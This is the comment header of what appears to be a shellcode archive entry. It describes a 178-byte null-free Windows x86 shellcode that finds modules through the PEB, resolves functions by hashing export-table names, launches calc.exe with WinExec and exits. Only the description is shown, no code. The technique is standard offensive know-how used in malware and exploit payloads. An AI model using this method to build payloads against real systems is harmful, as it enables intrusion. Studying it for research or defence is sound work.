; Windows/x86 - WinExec PopCalc PEB & Export Directory Table NullFree Dynamic Shellcode (178 bytes)
; Description:
; This is a shellcode that pop a calc.exe. The shellcode iuses
; the PEB method to locate the baseAddress of the required module and the Export Directory Table
; to locate symbols. Also the shellcode uses a hash function to gather dynamically the required
; symbols without worry about the length. Finally the shellcode pop the calc.exe using WinExec
; and exits gracefully using TerminateProcess.
